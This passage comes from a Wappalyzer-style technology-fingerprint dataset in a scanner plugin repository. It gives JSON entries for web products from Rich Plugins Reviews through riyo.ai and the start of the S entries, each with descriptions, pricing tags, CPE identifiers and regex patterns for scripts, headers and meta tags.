true,\n    \"website\": \"https://www.rezgo.com\"\n  },\n  \"Rich Plugins Reviews\": {\n    \"cats\": [\n      87,\n      90\n    ],\n    \"description\": \"Rich Plugins Reviews is a WordPress plugin that integrates verified reviews from trusted sources such as Google and Facebook.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/widget-google-reviews/']\"\n    ],\n    \"icon\": \"Rich Plugins.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/widget-google-reviews/\"\n    ],\n    \"website\": \"https://richplugins.com/business-reviews-bundle-wordpress-plugin\"\n  },\n  \"RichRelevance\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"RichRelevance is a cloud-based omnichannel personalisation platform built to help Retailers, B2B, financial services, travel and hospitality, and branded manufacturers personalise their customer experiences.\",\n    \"icon\": \"RichRelevance.svg\",\n    \"js\": {\n      \"RR.U\": \"\\\\;confidence:50\",\n      \"rr_v\": \"([\\\\d.]+)\\\\;version:\\\\1\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.richrelevance\\\\.com/\"\n    ],\n    \"website\": \"https://richrelevance.com\"\n  },\n  \"Richpanel\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Richpanel is a purpose-built CRM and customer support platform for ecommerce and DTC brands.\",\n    \"icon\": \"Richpanel.svg\",\n    \"js\": {\n      \"Richpanel.PLUGIN_API_URL\": \"\",\n      \"RichpanelAppProxy\": \"\",\n      \"richpanel_messenger_url\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.richpanel\\\\.com/\"\n    ],\n    \"website\": \"https://www.richpanel.com\"\n  },\n  \"Rickshaw\": {\n    \"cats\": [\n      25\n    ],\n    \"implies\": [\n      \"D3\"\n    ],\n    \"js\": {\n      \"Rickshaw\": \"\"\n    },\n    \"scriptSrc\": [\n      \"rickshaw(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://code.shutterstock.com/rickshaw/\"\n  },\n  \"Riddle\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Riddle is a platform enabling creation of lists, polls, and quizzes.\",\n    \"icon\": \"Riddle.svg\",\n    \"js\": {\n      \"riddleAPI\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.riddle.com\"\n  },\n  \"RideBits\": {\n    \"cats\": [\n      72,\n      104\n    ],\n    \"description\": \"RideBits is a provider of trip booking apps for ground transportation companies, offering solutions for managing bookings.\",\n    \"icon\": \"RideBits.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ridebitsapp\\\\.com/\"\n    ],\n    \"website\": \"https://ridebits.com\"\n  },\n  \"RightJS\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"RightJS is a modular JavaScript framework.\",\n    \"icon\": \"RightJS.png\",\n    \"js\": {\n      \"RightJS\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/rightjs\"\n  },\n  \"Ringba\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Ringba is a platform that offers call tracking solutions to businesses, pay-per-call networks, brokers, agencies, and performance marketers of all sizes.\",\n    \"icon\": \"Ringba.svg\",\n    \"js\": {\n      \"ringba.release\": \"\",\n      \"ringba_known_numbers\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ringba.com\"\n  },\n  \"Ringostat\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Ringostat is an AI-powered platform designed for business phone systems and marketing performance.\",\n    \"icon\": \"Ringostat.svg\",\n    \"js\": {\n      \"ringostatAPI\": \"\",\n      \"ringostatAnalytics\": \"\",\n      \"ringostatRestartSubstitution\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"script\\\\.ringostat\\\\.com/\"\n    ],\n    \"website\": \"https://ringostat.com\"\n  },\n  \"Rinsed\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Rinsed is a customer relationship management software tailored for the car wash industry.\",\n    \"icon\": \"Rinsed.svg\",\n    \"js\": {\n      \"isRinsedScriptLoaded\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.app\\\\.rinsed\\\\.co/\"\n    ],\n    \"website\": \"https://www.rinsed.com\"\n  },\n  \"Riot\": {\n    \"cats\": [\n      12\n    ],\n    \"icon\": \"Riot.png\",\n    \"js\": {\n      \"riot\": \"\"\n    },\n    \"scriptSrc\": [\n      \"riot(?:\\\\+compiler)?(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://riot.js.org/\"\n  },\n  \"Riot.js\": {\n    \"cats\": [\n      12\n    ],\n    \"cpe\": \"cpe:2.3:a:riot.js:riot-compiler:*:*:*:*:*:*:*:*\",\n    \"description\": \"Riot.js is a minimalistic, component-based UI library that enables developers to create custom elements in modern browsers with a small footprint and simple API.\",\n    \"icon\": \"Riot.js.svg\",\n    \"js\": {\n      \"riot\": \"\",\n      \"riot.version\": \"v([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"riot(?:\\\\+compiler)?(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://riot.js.org\"\n  },\n  \"Ripple\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Ripple is the frontend framework for Single Digital Presence, delivered using Nuxt and Vue.js.\",\n    \"headers\": {\n      \"x-sdp-app-type\": \"ripple\"\n    },\n    \"icon\": \"ripple.png\",\n    \"implies\": [\n      \"Nuxt.js\",\n      \"Vue.js\",\n      \"Drupal\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://dpc-sdp.github.io/sdp-docs/ripple/\"\n  },\n  \"Rise.ai\": {\n    \"cats\": [\n      84,\n      94\n    ],\n    \"description\": \"Rise.ai is a strategic re-engagement solution that provides brands and retailers with a unique currency of their own.\",\n    \"icon\": \"Rise.ai.svg\",\n    \"js\": {\n      \"Rise.shop\": \"\",\n      \"RiseStoreFront\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"strn\\\\.rise-ai\\\\.com/\"\n    ],\n    \"website\": \"https://rise.ai\"\n  },\n  \"Riskified\": {\n    \"cats\": [\n      10,\n      16\n    ],\n    \"description\": \"Riskified is a privately held company that provides SaaS fraud and chargeback prevention technology.\",\n    \"headers\": {\n      \"server\": \"Riskified Server\"\n    },\n    \"html\": [\n      \"<[^>]*beacon\\\\.riskified\\\\.com\",\n      \"<[^>]*c\\\\.riskified\\\\.com\"\n    ],\n    \"icon\": \"Riskified.svg\",\n    \"js\": {\n      \"RISKX\": \"\",\n      \"riskifiedBeaconLoad\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.riskified.com/\"\n  },\n  \"RiteCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:ritecms:ritecms:*:*:*:*:*:*:*:*\",\n    \"icon\": \"RiteCMS.png\",\n    \"implies\": [\n      \"PHP\",\n      \"SQLite\\\\;confidence:80\"\n    ],\n    \"meta\": {\n      \"generator\": \"^RiteCMS(?: (.+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://ritecms.com\"\n  },\n  \"RiteKit\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"RiteKit is a tool that enhances social media engagement by optimizing calls-to-action (CTAs), generating relevant hashtags, and integrating with social media management systems to streamline content distribution and audience interaction.\",\n    \"dom\": [\n      \"iframe[src*='cdn.ritekit.com/']\"\n    ],\n    \"icon\": \"RiteKit.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ritekit.com\"\n  },\n  \"Rive\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Rive is a real-time interactive design and animation tool.\",\n    \"icon\": \"Rive.svg\",\n    \"js\": {\n      \"rive.Rive\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://rive.app\"\n  },\n  \"RoadRunner\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"RoadRunner is a high-performance PHP application server, load balancer, and process manager written in Golang.\",\n    \"headers\": {\n      \"Server\": \"RoadRunner\"\n    },\n    \"icon\": \"RoadRunner.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://roadrunner.dev\"\n  },\n  \"Roadiz CMS\": {\n    \"cats\": [\n      1,\n      11\n    ],\n    \"description\": \"Roadiz CMS is a polymorphic CMS based on Symfony Flex, Doctrine ORM, API Platform, and Twig.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Roadiz CMS\"\n    },\n    \"icon\": \"Roadiz CMS.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Symfony\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Roadiz ?(?:master|develop)? v?([0-9\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.roadiz.io\"\n  },\n  \"Robin\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"Robin.png\",\n    \"js\": {\n      \"_robin_getRobinJs\": \"\",\n      \"robin_settings\": \"\",\n      \"robin_storage_settings\": \"\"\n    },\n    \"website\": \"https://www.robinhq.com\"\n  },\n  \"RobixCM Generator\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"RobixCM Generator is a service specializing in designing, developing, updating, and managing websites and online services.\",\n    \"icon\": \"Robixcm.png\",\n    \"meta\": {\n      \"robixcm\": \"RobixCM\"\n    },\n    \"saas\": true,\n    \"website\": \"https://robixcm.ir\"\n  },\n  \"Rock Content\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Rock Content is a content marketing platform. It provides tools and resources for creating, distributing, and measuring content to help businesses engage their audience and achieve marketing goals.\",\n    \"icon\": \"RockContent.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.rockcontent\\\\.com/\"\n    ],\n    \"website\": \"https://rockcontent.com\"\n  },\n  \"RockRMS\": {\n    \"cats\": [\n      1,\n      11,\n      32\n    ],\n    \"description\": \"Rock RMS is a free, open-source Relationship Management System (RMS) built for churches and businesses.\",\n    \"icon\": \"RockRMS.svg\",\n    \"implies\": [\n      \"Windows Server\",\n      \"IIS\",\n      \"Microsoft ASP.NET\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Rock v([0-9.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.rockrms.com\"\n  },\n  \"Rockee\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Rockee is a content feedback and performance platform that provides insights into audience perceptions of content.\",\n    \"icon\": \"Rockee.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.rockee\\\\.io/\"\n    ],\n    \"website\": \"https://rockee.io\"\n  },\n  \"Rockerbox\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Rockerbox is a provider of multi-touch attribution software.\",\n    \"icon\": \"Rockerbox.svg\",\n    \"js\": {\n      \"RB.source\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"wxyz\\\\.rb\\\\.js\"\n    ],\n    \"website\": \"https://www.rockerbox.com\"\n  },\n  \"Rocket.Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"cpe\": \"cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*\",\n    \"description\": \"Rocket.Chat is a communication hub that facilitates team collaboration and organizes conversations.\",\n    \"icon\": \"Rocket.Chat.svg\",\n    \"js\": {\n      \"RocketChat.livechat\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://rocket.chat\"\n  },\n  \"Rocketfy\": {\n    \"cats\": [\n      6,\n      51\n    ],\n    \"description\": \"Rocketfy is a platform that allows users to build an online store and allows dropshipping at the same time.\",\n    \"icon\": \"Rocketfy.svg\",\n    \"implies\": [\n      \"React\",\n      \"Next.js\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Rocketfy\\\\sMaker\\\\s-\\\\sv([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.rocketfy\\\\.mx/\"\n    ],\n    \"website\": \"https://rocketfy.mx\"\n  },\n  \"Roistat\": {\n    \"cats\": [\n      10,\n      74\n    ],\n    \"description\": \"Roistat is a marketing analytics system.\",\n    \"icon\": \"roistat.svg\",\n    \"js\": {\n      \"roistatHost\": \"\",\n      \"roistatProjectId\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"website\": \"https://roistat.com/\"\n  },\n  \"Rokt\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Rokt is an ecommerce marketing technology that gives customers a personalised and relevant experience while buying online.\",\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.rokt\\\\.com\"\n    },\n    \"icon\": \"Rokt.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.rokt\\\\.com/\"\n    ],\n    \"website\": \"https://www.rokt.com\"\n  },\n  \"Rollbar\": {\n    \"cats\": [\n      13\n    ],\n    \"icon\": \"Rollbar.svg\",\n    \"scriptSrc\": [\n      \"rollbar\\\\.js/([0-9.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://rollbar.com/\"\n  },\n  \"Roller\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Roller is an all-in-one software that helps operators boost revenue and deliver a better guest experience.\",\n    \"dom\": [\n      \"iframe#roller-widget, template[data-nitro-marker-id='roller-checkout']\"\n    ],\n    \"icon\": \"Roller.svg\",\n    \"js\": {\n      \"RollerCheckout\": \"\",\n      \"RollerConstants\": \"\",\n      \"rollerDL\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.roller.software\"\n  },\n  \"Rontar\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Rontar is a provider of ad management solutions catering to businesses seeking effective advertising strategies and optimization tools.\",\n    \"icon\": \"Rontar.svg\",\n    \"js\": {\n      \"RontarAddToCartFunction\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.rontar\\\\.com/\"\n    ],\n    \"website\": \"https://www.rontar.com\"\n  },\n  \"Roojoom\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Roojoom is a content marketing platform that converts content into revenue, designed for guided browsing.\",\n    \"icon\": \"Roojoom.svg\",\n    \"js\": {\n      \"RoojoomsGridCtrl\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.roojoom\\\\.com/\"\n    ],\n    \"website\": \"https://www.roojoom.com\"\n  },\n  \"Roompot\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Roompot is a provider of holiday parks, specialising in the management and operation of parks and campsites.\",\n    \"dom\": [\n      \"link[href*='cdn.roompot.com']\"\n    ],\n    \"icon\": \"Roompot.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.roompot.com\"\n  },\n  \"Rosti\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Rosti is a hosting service suitable for development and production deployment of web applications.\",\n    \"headers\": {\n      \"X-Rosti\": \"\"\n    },\n    \"icon\": \"Rosti.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://rosti.cz\"\n  },\n  \"Rotic\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Rotic is a conversion chatbot that answers questions, captures contacts, and books meetings.\",\n    \"icon\": \"Rotic.svg\",\n    \"js\": {\n      \"Rotic.setting\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://rotic.io\"\n  },\n  \"RoundCube\": {\n    \"cats\": [\n      30\n    ],\n    \"cpe\": \"cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*\",\n    \"description\": \"RoundCube is free and open-source web-based IMAP email client.\",\n    \"html\": [\n      \"<title>RoundCube\"\n    ],\n    \"icon\": \"RoundCube.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"rcmail\": \"\",\n      \"roundcube\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://roundcube.net\"\n  },\n  \"Route\": {\n    \"cats\": [\n      107\n    ],\n    \"description\": \"Route is a delivery and shipping tracking app\",\n    \"icon\": \"route.svg\",\n    \"js\": {\n      \"Routeapp\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.routeapp\\\\.io/\"\n    ],\n    \"website\": \"https://route.com\"\n  },\n  \"Royal Mail\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Royal Mail is a British multinational postal service and courier company.\",\n    \"icon\": \"Royal Mail.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bRoyal Mail\\\\b\"\n    ],\n    \"website\": \"https://www.royalmail.com\"\n  },\n  \"Rspack\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Rspack is a JavaScript bundler written in Rust, offering faster build times and compatibility with the Webpack ecosystem​.\",\n    \"icon\": \"Rspack.svg\",\n    \"implies\": [\n      \"Rust\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.rspack.dev\"\n  },\n  \"Rspress\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Rspress is a static site generator built on Rspack, offering features like MDX support, full-text search, internationalization, and customizable themes​.\",\n    \"icon\": \"Rspress.svg\",\n    \"implies\": [\n      \"Rspack\"\n    ],\n    \"meta\": {\n      \"generator\": \"Rspress\\\\sv([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://rspress.dev\"\n  },\n  \"Rubedo\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Rubedo is an open-source PHP CMS powered by the Zend Framework, NoSQL MongoDB, Elasticsearch, and AngularJS, offering advanced features for content management and development.\",\n    \"implies\": [\n      \"MongoDB\",\n      \"Elasticsearch\",\n      \"PHP\"\n    ],\n    \"js\": {\n      \"rubedoConfig\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/WebTales/rubedo\"\n  },\n  \"Rubicon Project\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Rubicon Project is an advertising automation platform enabling publishers to transact advertising brands.\",\n    \"dom\": {\n      \"iframe[src*='.rubiconproject.com']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      },\n      \"img[src*='.rubiconproject.com']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Rubicon Project.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"https?://[^/]*\\\\.rubiconproject\\\\.com\"\n    ],\n    \"website\": \"https://rubiconproject.com/\",\n    \"xhr\": [\n      \"\\\\.rubiconproject\\\\.com\"\n    ]\n  },\n  \"Ruby\": {\n    \"cats\": [\n      27\n    ],\n    \"cpe\": \"cpe:2.3:a:ruby-lang:ruby:*:*:*:*:*:*:*:*\",\n    \"description\": \"Ruby is an open-source object-oriented programming language.\",\n    \"headers\": {\n      \"Server\": \"(?:Mongrel|Ruby(?:/([\\\\d\\\\.]+))?)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Ruby.svg\",\n    \"website\": \"https://ruby-lang.org\"\n  },\n  \"Ruby Receptionists\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Ruby Receptionists is a Portland, Oregon based virtual answering service for small businesses.\",\n    \"icon\": \"Ruby Receptionists.svg\",\n    \"js\": {\n      \"rubyApi\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"chatwidget\\\\.ruby\\\\.com\"\n    ],\n    \"website\": \"https://www.ruby.com\"\n  },\n  \"Ruby on Rails\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"_session_id\": \"\\\\;confidence:75\"\n    },\n    \"cpe\": \"cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*\",\n    \"description\": \"Ruby on Rails is a server-side web application framework written in Ruby under the MIT License.\",\n    \"headers\": {\n      \"Server\": \"mod_(?:rails|rack)\",\n      \"X-Powered-By\": \"mod_(?:rails|rack)\"\n    },\n    \"icon\": \"Ruby on Rails.svg\",\n    \"implies\": [\n      \"Ruby\"\n    ],\n    \"js\": {\n      \"ReactOnRails\": \"\",\n      \"__REACT_ON_RAILS_EVENT_HANDLERS_RAN_ONCE__\": \"\",\n      \"_rails_loaded\": \"\"\n    },\n    \"meta\": {\n      \"csrf-param\": \"^authenticity_token$\\\\;confidence:50\"\n    },\n    \"scriptSrc\": [\n      \"/assets/application-[a-z\\\\d]{32}/\\\\.js\\\\;confidence:50\"\n    ],\n    \"website\": \"https://rubyonrails.org\"\n  },\n  \"Rudderstack\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Rudderstack is a customer data platform (CDP) that helps you collect, clean, and control your customer data.\",\n    \"icon\": \"Rudderstack.svg\",\n    \"js\": {\n      \"rudderanalytics\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.rudderlabs\\\\.com\"\n    ],\n    \"website\": \"https://rudderstack.com/\"\n  },\n  \"Ruffle\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Ruffle is an open-source Flash Player emulator that allows users to view and play Flash content on modern web browsers without requiring the original Adobe Flash Player.\",\n    \"icon\": \"Ruffle.svg\",\n    \"js\": {\n      \"RufflePlayer\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://ruffle.rs\"\n  },\n  \"Rumble\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Rumble is a Canadian video-streaming platform that presents itself as an alternative to YouTube.\",\n    \"dom\": [\n      \"iframe[src*='//rumble.com/']\"\n    ],\n    \"icon\": \"Rumble.svg\",\n    \"js\": {\n      \"Rumble.gdpr\": \"\",\n      \"Rumble.resize\": \"\"\n    },\n    \"website\": \"https://rumble.com\"\n  },\n  \"RunKit\": {\n    \"cats\": [\n      47,\n      59\n    ],\n    \"description\": \"RunKit is a tool for prototyping server-side JavaScript.\",\n    \"icon\": \"RunKit.svg\",\n    \"js\": {\n      \"RunKit\": \"\",\n      \"RunKit.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"\\\\.runkit\\\\.com\"\n    ],\n    \"website\": \"https://runkit.com\"\n  },\n  \"Rust\": {\n    \"cats\": [\n      27\n    ],\n    \"cpe\": \"cpe:2.3:a:rust-lang:rust:*:*:*:*:*:*:*:*\",\n    \"description\": \"Rust is a multi-paradigm, general-purpose programming language designed for performance and safety, especially safe concurrency.\",\n    \"icon\": \"Rust.svg\",\n    \"oss\": true,\n    \"website\": \"https://www.rust-lang.org\"\n  },\n  \"RxJS\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"RxJS is a reactive library used to implement reactive programming to deal with async implementation, callbacks, and event-based programs.\",\n    \"icon\": \"RxJS.svg\",\n    \"js\": {\n      \"Rx.CompositeDisposable\": \"\",\n      \"Rx.Symbol\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"rx(?:\\\\.\\\\w+)?(?:\\\\.compat|\\\\.global)?(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://reactivex.io\"\n  },\n  \"Ryviu\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Ryviu is customer product reviews app for building social proof for store.\",\n    \"icon\": \"Ryviu.svg\",\n    \"js\": {\n      \"ryviu_global_settings\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"payg\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.ryviu\\\\.com\"\n    ],\n    \"website\": \"https://www.ryviu.com/\"\n  },\n  \"reCAPTCHA\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"reCAPTCHA is a free service from Google that helps protect websites from spam and abuse.\",\n    \"dom\": [\n      \"#recaptcha_image, iframe[src*='.google.com/recaptcha/'], div.g-recaptcha\"\n    ],\n    \"icon\": \"reCAPTCHA.svg\",\n    \"js\": {\n      \"Recaptcha\": \"\",\n      \"recaptcha\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api-secure\\\\.recaptcha\\\\.net\",\n      \"recaptcha_ajax\\\\.js\",\n      \"/recaptcha/(?:api|enterprise)\\\\.js\"\n    ],\n    \"scripts\": [\n      \"/recaptcha/api\\\\.js\"\n    ],\n    \"website\": \"https://www.google.com/recaptcha/\"\n  },\n  \"riyo.ai\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"riyo.ai (formerly known as Traek) is a website insights, analytics and lead generation tool.\",\n    \"icon\": \"Riyo.AI.svg\",\n    \"js\": {\n      \"Traek\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.riyo.ai\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/s.json",
    "content": "{\n  \"S-COREpion\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"S-COREpion is a PHP and MySQL-based content management system (CMS) used for creating and managing websites and web applications.\",\n    \"headers\": {\n      \"x-powered-by\": \"^S-COREpion CMS$\"\n    },\n    \"icon\": \"S-COREpion.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"pricing\": [\n      \"poa\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"website\": \"https://s-corepion.ru\"\n  },\n  \"SALESmanago\": {\n    \"cats\": [\n      97,\n      32\n    ],\n    \"description\": \"SALESmanago is a no-code marketing automation and customer data platform designed for mid-sized buinesses and enterprises.\",\n    \"icon\": \"SALESmanago.svg\",\n    \"js\": {\n      \"SalesmanagoObject\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.salesmanago\\\\.com/\"\n    ],\n    \"website\": \"https://www.salesmanago.com\"\n  },\n  \"SAP\": {\n    \"cats\": [\n      53\n    ],\n    \"cpe\": \"cpe:2.3:a:sap:netweaver_application_server:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"SAP NetWeaver Application Server\"\n    },\n    \"icon\": \"SAP.svg\",\n    \"website\": \"https://sap.com\"\n  },\n  \"SAP Commerce Cloud\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"_hybris\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:sap:commerce_cloud:*:*:*:*:*:*:*:*\",\n    \"description\": \"SAP Commerce Cloud is a cloud-native omnichannel commerce solution for B2B, B2C, and B2B2C companies.\",\n    \"html\": [\n      \"<[^>]+/(?:sys_master|hybr|_ui/(?:.*responsive/)?(?:desktop|common(?:/images|/img|/css|ico)?))/\",\n      \"<script[^>].*hybris.*.js\"\n    ],\n    \"icon\": \"SAP.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"js\": {\n      \"ACC.config.commonResourcePath\": \"/_ui/responsive/common\\\\;confidence:25\",\n      \"ACC.config.rootPath\": \"/_ui/responsive\\\\;confidence:25\",\n      \"ACC.config.themeResourcePath\": \"/_ui/responsive/theme-\\\\;confidence:50\",\n      \"getProductAttrFromHybris\": \"\",\n      \"getProductAvailabilityHybris\": \"\",\n      \"hybrisId\": \"\",\n      \"passLgDataToHybris\": \"\",\n      \"smartedit\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.sap.com/products/commerce-cloud.html\"\n  },\n  \"SAP Customer Data Cloud Sign-in\": {\n    \"cats\": [\n      69\n    ],\n    \"icon\": \"SAP.svg\",\n    \"scriptSrc\": [\n      \"\\\\.gigya\\\\.com/JS/gigya\\\\.js\"\n    ],\n    \"website\": \"https://www.sap.com/uk/acquired-brands/what-is-gigya.html\"\n  },\n  \"SAP Upscale 